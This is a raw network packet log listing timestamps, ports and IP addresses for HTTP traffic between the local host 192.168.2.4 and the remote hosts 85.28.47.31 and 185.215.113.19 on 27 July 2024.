Jul 27, 2024 05:39:17.709490061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709506989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709527016 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709542036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709549904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709575891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709587097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709609032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709619999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709644079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709654093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709676981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709686995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709716082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709721088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709749937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709757090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709784031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709794044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709817886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709827900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709851980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709861994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709887028 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709898949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709922075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709929943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709964991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.795886040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.795918941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.795931101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.795957088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.795967102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.795977116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.795989990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.795998096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796097040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796341896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796390057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796432018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796453953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796488047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796488047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796710968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796750069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796753883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796772003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796792030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796802998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796817064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796823978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796844959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796854973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796859026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796875000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796895981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796895981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796916008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796917915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796936035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796938896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796958923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796960115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796977997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.796979904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.796999931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797003031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797019958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797033072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797041893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797055006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797072887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797086000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797096014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797107935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797128916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797128916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797149897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797163010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797168970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797183990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797202110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797204971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797224045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797224998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797244072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797246933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797269106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797271013 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797297955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797298908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797324896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797324896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797348976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797353983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797370911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797374010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797393084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797400951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797413111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797435045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797441959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797456980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797477007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797477007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797497988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797499895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797516108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797519922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797539949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797540903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797561884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797568083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797581911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797583103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797602892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797602892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797621012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797626019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797643900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797646999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797666073 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797668934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797686100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797691107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797705889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797713995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797732115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797733068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797755957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797756910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797775984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797776937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797797918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797797918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797816038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797821045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797841072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797841072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797859907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797862053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797883034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797885895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797898054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797902107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797921896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797924995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797939062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797954082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797960043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.797981024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.797996044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.798002005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.798017979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.798022985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.798043013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.798051119 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.798064947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.798074961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.798089981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.798110962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.846462965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.851306915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.004678965 CEST	80	49484	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:18.004746914 CEST	49484	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:18.025800943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.025871038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.025876999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.025923967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.025932074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.025965929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.025976896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026007891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026016951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026057005 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026067019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026102066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026113033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026134968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026146889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026180029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026187897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026221037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026232958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026253939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026263952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026288986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026302099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026323080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026331902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026356936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026366949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026391029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026401997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026429892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026434898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026464939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026477098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026499033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026504993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026540041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026550055 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026582956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026592970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026617050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026626110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026653051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026660919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026689053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026699066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026736975 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026741028 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026783943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026791096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026824951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026835918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026859045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026870012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026891947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026904106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026936054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026943922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.026987076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.026994944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027029037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027044058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027061939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027071953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027096033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027105093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027129889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027142048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027167082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027173042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027199984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027215004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027234077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027244091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027267933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027276993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027311087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027312040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027344942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027354956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027379036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027393103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027410984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027420998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027445078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027452946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027487993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027499914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027543068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027549028 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027581930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027590990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027615070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027623892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027651072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027657032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027694941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027703047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027745962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027754068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027787924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027796030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027827978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027844906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027878046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027888060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027910948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027920008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027945042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027955055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.027977943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.027987003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028012037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028019905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028044939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028053999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028079987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028086901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028114080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028121948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028147936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028156042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028181076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028188944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028214931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028222084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028249979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028260946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028291941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028301954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028338909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028346062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028381109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028389931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028423071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028429985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028464079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028475046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028521061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028574944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028609037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028618097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028641939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028650999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028676033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028683901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028711081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028718948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028745890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028753042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028779030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028786898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028812885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028820038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028846979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028855085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028879881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028889894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028913975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028922081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028947115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028956890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.028980970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.028989077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029015064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029021978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029047966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029056072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029083014 CEST	80	49477	85.28.47.31	192.168.2.4
